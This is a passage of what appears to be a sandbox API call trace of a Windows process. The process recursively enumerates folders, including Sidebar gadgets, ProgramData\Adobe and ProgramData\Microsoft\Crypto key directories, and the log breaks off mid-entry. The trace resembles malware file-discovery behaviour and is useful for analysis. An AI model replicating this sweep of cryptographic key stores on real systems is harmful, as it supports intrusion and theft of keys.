[0261.768] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0261.768] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbad82b5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbad82b5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb3d37fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0261.768] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0261.768] GetProcessHeap () returned 0x550000 [0261.768] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0261.768] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0261.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0261.768] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.768] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf39e8c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf39e8c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd379e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0261.769] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0261.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0261.777] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.778] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.778] GetProcessHeap () returned 0x550000 [0261.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0261.779] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0261.779] GetProcessHeap () returned 0x550000 [0261.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0261.779] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0261.779] GetProcessHeap () returned 0x550000 [0261.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0261.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.287] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.289] GetProcessHeap () returned 0x550000 [0262.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.342] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.344] GetProcessHeap () returned 0x550000 [0262.344] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.392] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.392] GetProcessHeap () returned 0x550000 [0262.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.392] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.392] GetProcessHeap () returned 0x550000 [0262.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.393] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.393] GetProcessHeap () returned 0x550000 [0262.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.403] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.403] GetProcessHeap () returned 0x550000 [0262.403] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.403] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0262.404] GetProcessHeap () returned 0x550000 [0262.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0262.404] FindClose (in: hFindFile=0x6396c8 | out: hFindFile=0x6396c8) returned 1 [0262.404] GetProcessHeap () returned 0x550000 [0262.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0262.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6396c8 [0262.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0262.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.412] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.412] GetProcessHeap () returned 0x550000 [0262.413] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.413] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.413] GetProcessHeap () returned 0x550000 [0262.413] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.413] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.421] GetProcessHeap () returned 0x550000 [0262.421] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.421] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.421] GetProcessHeap () returned 0x550000 [0262.421] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.464] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.465] GetProcessHeap () returned 0x550000 [0262.465] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.465] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.465] GetProcessHeap () returned 0x550000 [0262.465] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.466] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0262.466] GetProcessHeap () returned 0x550000 [0262.466] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0262.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0262.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0262.503] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0262.506] GetProcessHeap () returned 0x550000 [0262.506] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0262.506] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.506] GetProcessHeap () returned 0x550000 [0262.506] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.506] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.506] GetProcessHeap () returned 0x550000 [0262.506] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.506] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0262.507] GetProcessHeap () returned 0x550000 [0262.507] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0262.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0262.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.511] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0262.511] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0262.511] GetProcessHeap () returned 0x550000 [0262.511] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0262.511] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.511] GetProcessHeap () returned 0x550000 [0262.511] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.514] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0262.514] GetProcessHeap () returned 0x550000 [0262.514] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0262.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0262.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, 